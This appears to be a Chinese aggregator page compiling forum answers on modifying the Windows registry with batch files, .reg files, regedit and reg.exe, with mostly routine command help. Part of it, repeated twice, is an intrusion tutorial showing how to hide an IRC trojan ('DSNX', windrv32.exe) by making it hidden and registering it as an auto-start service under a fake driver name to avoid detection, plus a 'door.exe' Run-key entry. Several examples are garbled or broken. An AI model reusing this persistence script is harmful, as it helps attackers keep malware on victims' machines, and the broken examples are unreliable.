您的位置 首页 > 系统更新

修改注册表批处理命令无限使用_注册表批量修改

1.批处理命令修改注册表

2.怎么批处理修改注册表数值

3.批处理修改注册表的值

4.批处理修改注册表值 大家来帮俺解决下 谢谢

5.更改注册表的键值,以cmd批处理bat的方式更改。

6.用批处理修改注册表

修改注册表批处理命令无限使用_注册表批量修改

禁止使用命令提示符程序和批处理文件

Windows 2000/XP下的命令提示符(即CMD.exe程序)相当于Windows 98下的MS-DOS程序。出于系统本身安全考虑,应防止非法用户在命令提示符下或是利用批处理文件(BAT文件)对计算机进行破坏,这可通过修改注册表来实现。

选择开始→运行命令,在运行对话框的打开文本框中输入“regedit.exe”,单击确定按钮,运行注册表编辑器,依次打开以下键:

HKEY_CURRENT_USER\Software\Policies\Microsoft\System

在右边的窗口中新建一个DWORD值,其名称为DisableCMD,设数值数据为2,则表示命令提示符程序和批处理文件都不能被运行,其值为1,则只是禁止命令提示符的运行。

示例:

echo REGEDIT4>iedown.reg

echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]>>iedown.reg

echo "1803"=dword:00000000>>iedown.reg

以上生成REG文件.

regedit /s iedown.reg

del iedown.reg

运行REG后删除之.

还可以:写一个注册表文件,放在一个位置..

然后批处理导入:

@echo off

regedit /s 注册表文件路径

exit

说明:/s是不弹出确认提示直接导入

先学习一下如何使用.REG文件来操

作注册表.(我们可以用批处理来生成一个REG文件)

关于注册表的操作,常见的是创建、修改、删除。

1.创建

创建分为两种,一种是创建子项(Subkey)

我们创建一个文件,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子项。

另一种是创建一个项目名称

那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Invader"="Ex4rch"

"Door"=C:\\WINNT\\system32\\door.exe

"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 新建了:Invader、door、about这三个项目

Invader的类型是"String value"

door的类型是"REG SZ value"

Autodos的类型是"DWORD value"

2.修改

修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

3.删除

我们首先来说说删除一个项目名称,我们创建一个如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Ex4rch"=-

执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;

我们再看看删除一个子项,我们创建一个如下的脚本:

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。

相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

samlpe1:如上面的那个例子,如想生成如册表文件

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"Invader"="Ex4rch"

"door"=hex:255

"Autodos"=dword:000000128

只需要这样:

@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg

@echo "Invader"="Ex4rch">>Sample.reg

@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

@echo "Autodos"=dword:02>>Sample.reg

samlpe2:

我们现在在使用一些比较老的木马时,可能会在注册表的

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、

Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查

杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为

windrv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll

@echo "windsnx "=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=

c:\winnt\system32\windrv32.exe

@regedit /s patch.dll

@delete patch.dll

@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键的同时将其属性设为隐藏和

只读,并config为自启动]

@REM 这样不是更安全.

怎么用批处理命令删注册表里的键值或用命令的方法删注册表值?

REG DELETE KeyName [/v ValueName | /ve | /va] [/f]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值。

远程机器上只有 HKLM 和 HKU。

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名。

ValueName 所选项下的要删除的值的名称。

省略时,该项下的所有子项和值都会被删除。

/ve 删除空白值名称的值(默认)。

/va 删除该项下的所有值。

/f 不用提示就强行删除。

例如:

REG DELETE HKLM\Software\MyCo\MyApp\Timeout

删除注册表项 Timeout 及其所有子项和值

REG DELETE \\ZODIAC\HKLM\Software\MyCo /v MTU

删除 ZODIAC 上 MyCo 下的注册表项 MTU

regedit.exe的参数

filename 导入 .reg 文件进注册表

/s 导入 .reg 文件进注册表(安静模式)

/e 导出注册表文件

例:regedit /e filename.reg HKEY_LOCAL_MACHINE\SYSTEM

/L:system 指定 system.dat

/R:user 指定 user.dat

隐藏导入注册表信息用regedit /s 即可

在DOS提示符下键入Regedit命令,将出现一个帮助屏幕。此屏幕给出了其命令行参数及其使用方法。

语法:Regedit[/L:system][/R:user]filename1

Regedit[/L:system][/R:user]/Cfilename2

Regedit[/L:system][/R:user]/Efilename3[regpath]

其中:

/L:system指定system.dat文件的存放位置。

/L:user指定user.dat文件的存放位置。

filename1指定引入注册表数据库的文件名。

/Cfilename2指定形成注册表数据库的文件名。

/Efilename3指定导出注册表文件的文件名。

regpath指定导出注册表文件的开始关键字(缺省为全部关键字)

现举几个例子说明regedit.exe在DOS下的使用方法。

例1将系统注册表数据库registry导出到reg1.reg文件中。

regedit/Ereg1.reg

例2reg1.reg形成系统注册表数据库registry(全部)中。

regedit/Creg1.reg

例3将reg.dat引入系统注册表数据库中(部分)。

regeditreg.dat

例4将CJH开始的关键字导出注册表数据库,并命名为cjh.reg。

regedit/Ecjh.regcjh

例5指定system/dat存放在D:\PWIN中和user.dat存放在E:\PWIN中,将reg.dat数据文件形成一个新的注册表数据库registry。

regedit/L:D:\PWIN/R:E:\PWIN/Creg.dat

有了以上这些知识,结合在《对注册表进行编程的“捷径”》里讲过的关于导入或导出的注册表文件(*.REG),我们就可以在DOS方式下对注册表进行编程了。

我们还是以更改“*.txt”文件的默认打开方式——“记事本”为“写字板”为例。首先在MS-DOS提示符下导出“HKEY_CLASSES_ROOT\txtfile”子键这一分支,即执行命令:

regedit/Etxt.regHKEY_CLASSES_ROOT\txtfile

然后用DOS下的EDIT编辑器打开txt.reg文件进行编辑:将其中所有的“C:\\WINDOWS\\NOTEPAD.EXE”全部改成“C:\\WINDOWS\\WRITE.EXE”,存盘退出EDIT,再在命令行下执行命令:

regedittxt.reg

XP上新加的注册表操作命令

ADD

REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]

KeyName [\\Machine\]FullKey

远程机器的机器名 - 忽略默认到当前机器。

远程机器上只有 HKLM 和 HKU。

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 册表项的完整名

/v 所选项之下要添加的值名

/ve 为注册表项添加空白值名<无名称>

/t RegKey 数据类型

[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |

REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |

REG_NONE | REG_EXPAND_SZ ]

如果忽略,则用 REG_SZ

/s 指定一个在 REG_MULTI_SZ 数据字符串中

用作分隔符的字符

如果忽略,则将 "\0" 用作分隔符

/d 要分配给添加的注册表 ValueName 的数据

/f 不用提示就强行改写现有注册表项

例如:

REG ADD \\ABC\HKLM\Software\MyCo

添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo

REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead

添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)

REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail

添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax\0

COMPARE

REG COMPARE KeyName1 KeyName2 [/v ValueName | /ve] [Output] [/s]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 省略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey ROOTKEY\SubKey

如果没有指定 FullKey2,FullKey2 则跟 FullKey1 相同

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

ValueName 所选注册表项下的要比较的值的名称

省略时,该项下的所有值都会得到比较

/ve 比较空白值<no name>名称的值

/s 比较所有子项和值

Output [/oa | /od | /os | /on]

省略时,只显示不同的结果

/oa 显示所有不同和匹配结果

/od 只显示不同的结果

/os 只显示匹配结果

/on 不显示结果

返回代码:

0 - 成功,比较的结果相同

1 - 失败

2 - 成功,比较的结果不同

例如:

REG COMPARE HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SeMyApp

将注册表项 MyApp 下的所有值跟 SeMyApp 比较

REG COMPARE HKLM\Software\MyCo HKLM

COPY

REG COPY KeyName1 KeyName2 [/s] [/f]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

/s 复制所有子项和值

/f 不用提示就强行复制

例如:

REG COPY HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SeMyApp /s

将注册表项 MyApp 下的所有子项和值复制到注册表项 SeMyApp

REG COPY \\ZODIAC\HKLM\Software\MyCo HKLM

DELETE

REG DELETE KeyName [/v ValueName | /ve | /va] [/f]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

ValueName 所选项下的要删除的值的名称

省略时,该项下的所有子项和值都会被删除

/ve 删除空白值名称<no name>的值

/va 删除该项下的所有值

/f 不用提示就强行删除

例如:

REG DELETE HKLM\Software\MyCo\MyApp\Timeout

删除注册表项 T

LOAD

REG LOAD KeyName FileName

KeyName ROOTKEY\SubKey (只是本地机器的)

ROOTKEY [ HKLM | HKU ]

SubKey 要将配置单元文件加载进的注册表项名称。创建一个新的注册表项

FileName 要加载的配置单元文件名

您必须使用 REG SAVE 来创建这个文件

QUERY

REG QUERY KeyName [/v ValueName | /ve] [/s]

KeyName [\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey 格式为 ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

/v 查询特定注册表项

ValueName 所选项下的要查询的值的名称

省略时,该项下的所有值都会得到查询

/ve 查询默认值或空白值名称<no name>

/s 查询所有子项和值

RESTORE

REG RESTORE KeyName FileName

KeyName ROOTKEY\SubKey (只是本地机器)

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 要将配置单元文件还原到的注册表项全名。

改写现有项的值和子项

FileName 要还原的配置单元文件名

您必须使用 REG SAVE 来创建这个文件

SAVE

REG SAVE KeyName FileName

KeyName ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

FileName 要保存的磁盘文件名。如果没有指定路径,

文件会在调用进程的当前文件夹中得到创建

UNLOAD

REG UNLOAD KeyName

KeyName ROOTKEY\SubKey (只是本地机器的)

ROOTKEY [ HKLM | HKU ]

SubKey 要卸载的配置单元的注册表项名称

reg add "项" /v(value的缩写) 值 /t(type) reg_dword(默认是eg_sz) /d(data的缩写) "要插入的数据值" /f(forbiden的缩写,即强制的意思)

例如

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session" /v test /t reg_dword /d 1 /f

这句命令就是往你的注册表

HKLM\SYSTEM\CurrentControlSet\Control\Session

这个项下面新建一个 reg_dowrd 类型的值,名字为test,数据为 1

/f 表示在运行如果注册表里已经有这个值也不会提示你,直接修改,

如果没有这个参数的话,它会提示你是不是要修改

五.如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)

关于注册表的操作,常见的是创建、修改、删除。

1.创建

创建分为两种,一种是创建子项(Subkey)

我们创建一个文件,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]

然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。

另一种是创建一个项目名称

那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

"Invader"="Ex4rch"

"Door"=C:\WINNT\system32\door.exe

"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下

新建了:Invader、door、about这三个项目

Invader的类型是“String Value”

door的类型是“REG SZ Value”

Autodos的类型是“DWORD Value”

2.修改

修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

3.删除

我们首先来说说删除一个项目名称,我们创建一个如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

"Ex4rch"=-

执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被删除了;

我们再看看删除一个子项,我们创建一个如下的脚本:

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。

相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

samlpe1:如上面的那个例子,如想生成如册表文件

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

"Invader"="Ex4rch"

"door"=hex:255

"Autodos"=dword:000000128

只需要这样:

@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg

@echo "Invader"="Ex4rch">>Sample.reg

@echo "door"=5>>C:\WINNT\system32\door.exe>>Sample.reg

@echo "Autodos"=dword:02>>Sample.reg

samlpe2:

我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll

@echo "windsnx "=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe

@regedit /s patch.dll

@delete patch.dll

@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键的同时将其属性设为隐藏和只读,并config为自启动]

@REM 这样不是更安全^_^.

六.精彩实例放送

1.删除win2k/xp系统默认共享的批处理

------------------------ cut here then se as .bat or .cmd file ---------------------------

@echo preparing to delete all the default shares.when ready pres any key.

@pause

@echo off

:Rem check parameters if null show usage.

if {%1}=={} goto :Usage

:Rem code start.

echo.

echo ------------------------------------------------------

echo.

echo Now deleting all the default shares.

echo.

net share %1$ /delete

net share %2$ /delete

net share %3$ /delete

net share %4$ /delete

net share %5$ /delete

net share %6$ /delete

net share %7$ /delete

net share %8$ /delete

net share %9$ /delete

net stop Server

net start Server

echo.

echo All the shares he been deleteed

echo.

echo ------------------------------------------------------

echo.

echo Now modify the registry to change the system default properties.

echo.

echo Now creating the registry file

echo Windows Registry Editor Version 5.00> c:delshare.reg

echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg

echo "AutoShareWks"=dword:00000000>> c:delshare.reg

echo "AutoShareServer"=dword:00000000>> c:delshare.reg

echo Nowing using the registry file to chang the system default properties.

regedit /s c:delshare.reg

echo Deleting the temprotarily files.

del c:delshare.reg

goto :END

:Usage

echo.

echo ------------------------------------------------------

echo.

echo ☆ A example for batch file ☆

echo ☆ [Use batch file to change the sysytem share properties.] ☆

echo.

echo Author:Ex4rch

echo Mail:Ex4rch@hotmail QQ:1672602

echo.

echo Error:Not enough parameters

echo.

echo ☆ Please enter the share disk you wanna delete ☆

echo.

echo For instance,to delete the default shares:

echo delshare c d e ipc admin print

echo.

echo If the disklable is not as C: D: E: ,Please chang it youself.

echo.

echo example:

echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :

echo delshare c d e x y z ipc admin print

echo.

echo *** you can delete nine shares once in a useing ***

echo.

echo ------------------------------------------------------

goto :EOF

转载的,希望对你有帮助

批处理命令修改注册表

汗……没事谁用批处理来写恶意软件,C++什么的方便多了……

我查过了,批处理中能修改注册表的命令除了新建注册表文件再运行外就只有reg命令了。而reg命令中貌似没有能修改权限的命令分支,下面是我从批处理中导出的有关说明文件,没有“权限”这个字眼

REG QUERY KeyName [/v ValueName | /ve] [/s]

KeyName [\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey 格式为 ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

/v 查询特定注册表项

ValueName 所选项下的要查询的值的名称

省略时,该项下的所有值都会得到查询

/ve 查询默认值或空白值名称<no name>

/s 查询所有子项和值

例如:

REG QUERY HKLM\Software\Microsoft\ResKit /v Version

显示注册表值 Version 的值

REG QUERY HKLM\Software\Microsoft\ResKit\r

t\Setup /s

显示注册表项 Setup 下的所有子项和值

REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]

KeyName [\\Machine\]FullKey

远程机器的机器名 - 忽略默认到当前机器。

远程机器上只有 HKLM 和 HKU。

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 册表项的完整名

/v 所选项之下要添加的值名

/ve 为注册表项添加空白值名<无名称>

/t RegKey 数据类型

[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |

REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |

REG_NONE | REG_EXPAND_SZ ]

如果忽略,则用 REG_SZ

/s 指定一个在 REG_MULTI_SZ 数据字符串中

用作分隔符的字符

如果忽略,则将 "\0" 用作分隔符

/d 要分配给添加的注册表 ValueName 的数据

/f 不用提示就强行改写现有注册表项

例如:

REG ADD \\ABC\HKLM\Software\MyCo

添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo

REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead

添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)

REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail

添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax\0mail\0\0)

REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%

添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%)

注意: 在扩充字符串中使用双百分比符号( %% )

REG DELETE KeyName [/v ValueName | /ve | /va] [/f]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

ValueName 所选项下的要删除的值的名称

省略时,该项下的所有子项和值都会被删除

/ve 删除空白值名称<no name>的值

/va 删除该项下的所有值

/f 不用提示就强行删除

例如:

REG DELETE HKLM\Software\MyCo\MyApp\Timeout

删除注册表项 Timeout 及其所有子项和值

REG DELETE \\ZODIAC\HKLM\Software\MyCo /v MTU

删除 ZODIAC 上 MyCo 下的注册表项 MTU

REG COPY KeyName1 KeyName2 [/s] [/f]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 忽略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

/s 复制所有子项和值

/f 不用提示就强行复制

例如:

REG COPY HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SeMyApp /s

将注册表项 MyApp 下的所有子项和值复制到注册表项 SeMyApp

REG COPY \\ZODIAC\HKLM\Software\MyCo HKLM\Software\MyCo1

将 ZODIAC 上注册表项 MyCo 下的所有值

复制到当前机器上的注册表项 MyCo1

REG SAVE KeyName FileName

KeyName ROOTKEY\SubKey

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

FileName 要保存的磁盘文件名。如果没有指定路径,

文件会在调用进程的当前文件夹中得到创建

例如:

REG SAVE HKLM\Software\MyCo\MyApp AppBkUp.hiv

将配置单元 MyApp 保存到当前文件夹中的文件 AppBkUp.hiv

REG RESTORE KeyName FileName

KeyName ROOTKEY\SubKey (只是本地机器)

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 要将配置单元文件还原到的注册表项全名。

改写现有项的值和子项

FileName 要还原的配置单元文件名

您必须使用 REG SAVE 来创建这个文件

例如:

REG RESTORE HKLM\Software\Microsoft\ResKit NTRKBkUp.hiv

还原文件 NTRKBkUp.hiv,改写注册表项 ResKit

REG LOAD KeyName FileName

KeyName ROOTKEY\SubKey (只是本地机器的)

ROOTKEY [ HKLM | HKU ]

SubKey 要将配置单元文件加载进的注册表项名称。创建一个新的注册表项

FileName 要加载的配置单元文件名

您必须使用 REG SAVE 来创建这个文件

例如:

REG LOAD HKLM\TempHive TempHive.hiv

将文件 TempHive.hiv 加载到注册表项 HKLM\TempHive

REG UNLOAD KeyName

KeyName ROOTKEY\SubKey (只是本地机器的)

ROOTKEY [ HKLM | HKU ]

SubKey 要卸载的配置单元的注册表项名称

例如:

REG UNLOAD HKLM\TempHive

卸载 HKLM 中的配置单元 TempHive

REG COMPARE KeyName1 KeyName2 [/v ValueName | /ve] [Output] [/s]

KeyName [\\Machine\]FullKey

Machine 远程机器名 - 省略当前机器的默认值

远程机器上只有 HKLM 和 HKU

FullKey ROOTKEY\SubKey

如果没有指定 FullKey2,FullKey2 则跟 FullKey1 相同

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

ValueName 所选注册表项下的要比较的值的名称

省略时,该项下的所有值都会得到比较

/ve 比较空白值<no name>名称的值

/s 比较所有子项和值

Output [/oa | /od | /os | /on]

省略时,只显示不同的结果

/oa 显示所有不同和匹配结果

/od 只显示不同的结果

/os 只显示匹配结果

/on 不显示结果

返回代码:

0 - 成功,比较的结果相同

1 - 失败

2 - 成功,比较的结果不同

例如:

REG COMPARE HKLM\Software\MyCo\MyApp HKLM\Software\MyCo\SeMyApp

将注册表项 MyApp 下的所有值跟 SeMyApp 比较

REG COMPARE HKLM\Software\MyCo HKLM\Software\MyCo1 /v Version

比较注册表项 MyCo 和 MyCo1 下的值 Version

REG COMPARE \\ZODIAC\HKLM\Software\MyCo \\. /s

将 ZODIAC 上 HKLM\Software\MyCo 下的

所有子项和值和当前机器上的相同项比较

REG EXPORT KeyName FileName

Keyname ROOTKEY\SubKey (local machine only)

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]

SubKey 所选 ROOTKEY 下的注册表项的全名

FileName 要导出的磁盘文件名

例如:

REG EXPORT HKLM\Software\MyCo\MyApp AppBkUp.reg

将注册表项 MyApp 的所有子项和值导出到文件 AppBkUp.reg

REG IMPORT FileName

FileName 要导入的磁盘文件名(只用于本地机器)

例如:

REG IMPORT AppBkUp.reg

从文件 AppBkUp.reg 导入注册表项

怎么批处理修改注册表数值

@echo off

title USB

mode con cols=20 lines=10

color 8b

set /p pass=禁止按1,解除按2

if %pass%==1 (

reg add HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR /v Start /t reg_dword /d 4 /f >nul

) else (

if %pass%==2 reg add HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR /v Start /t reg_dword /d 3 /f >nul

)

批处理修改注册表的值

echo

Windows

Registry

Editor

Version

5.00

>regfile.reg

echo

[HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN]

>>regfile.reg

rem

下面的的句子表示删除deletekey键

echo

"deletekey"=-

>>regfile.reg

rem

下面的的句子表示删除增加或修改addkey键

echo

addkey="yourpath\yourfile.exe"

>>regfile.reg

regedit

-s

regfile.reg

del

regfile.reg

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

如果在XP环境下,还可以使用reg.exe

D:\WINDOWS\system32>reg

/?

Windows

控制台注册表工具

-

版本

3.0

版权所有

(C)

Microsoft

Corp.

1981-2001.

保留所有权利。

REG

Operation

[参数列表]

Operation

[

QUERY

|

ADD

|

DELETE

|

COPY

|

SAVE

|

LOAD

|

UNLOAD

|

RESTORE

|

COMPARE

|

EXPORT

|

IMPORT

]

返回代码:

(除了

REG

COMPARE)

0

-

成功

1

-

失败

要得到有关某个操作的帮助,请键入:

REG

Operation

/?

例如:

REG

QUERY

/?

REG

ADD

/?

REG

DELETE

/?

REG

COPY

/?

REG

SAVE

/?

REG

RESTORE

/?

REG

LOAD

/?

REG

UNLOAD

/?

REG

COMPARE

/?

REG

EXPORT

/?

REG

IMPORT

/?

D:\WINDOWS\system32>reg

add

/?

Windows

控制台注册表工具

-

版本

3.0

版权所有

(C)

Microsoft

Corp.

1981-2001.

保留所有权利。

REG

ADD

KeyName

[/v

ValueName

|

/ve]

[/t

Type]

[/s

Separator]

[/d

Data]

[/f]

KeyName

[\\Machine\]FullKey

远程机器的机器名

-

忽略默认到当前机器。

远程机器上只有

HKLM

HKU。

FullKey

ROOTKEY\SubKey

ROOTKEY

[

HKLM

|

HKCU

|

HKCR

|

HKU

|

HKCC

]

SubKey

所选

ROOTKEY

册表项的完整名

/v

所选项之下要添加的值名

/ve

为注册表项添加空白值名<无名称>

/t

RegKey

数据类型

[

REG_SZ

|

REG_MULTI_SZ

|

REG_DWORD_BIG_ENDIAN

|

REG_DWORD

|

REG_BINARY

|

REG_DWORD_LITTLE_ENDIAN

|

REG_NONE

|

REG_EXPAND_SZ

]

如果忽略,则用

REG_SZ

/s

指定一个在

REG_MULTI_SZ

数据字符串中

用作分隔符的字符

如果忽略,则将

"\0"

用作分隔符

/d

要分配给添加的注册表

ValueName

的数据

/f

不用提示就强行改写现有注册表项

例如:

REG

ADD

\\ABC\HKLM\Software\MyCo

添加远程机器

ABC

上的一个注册表项

HKLM\Software\MyCo

REG

ADD

HKLM\Software\MyCo

/v

Data

/t

REG_BINARY

/d

fe340ead

添加一个值(名称:

Data,类型:

REG_BINARY,数据:

fe340ead)

REG

ADD

HKLM\Software\MyCo

/v

MRU

/t

REG_MULTI_SZ

/d

fax\0mail

添加一个值(名称:

MRU,类型:

REG_MUTLI_SZ,数据:

fax\0mail\0\0)

REG

ADD

HKLM\Software\MyCo

/v

Path

/t

REG_EXPAND_SZ

/d

%%systemroot%%

添加一个值(名称:

Path,类型:

REG_EXPAND_SZ,数据:

%systemroot%)

注意:

在扩充字符串中使用双百分比符号(

%%

)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~修改echo

addkey="yourpath\yourfile.exe"

>>regfile.reg

应为:echo

"addkey"="yourpath\yourfile.exe"

>>regfile.reg

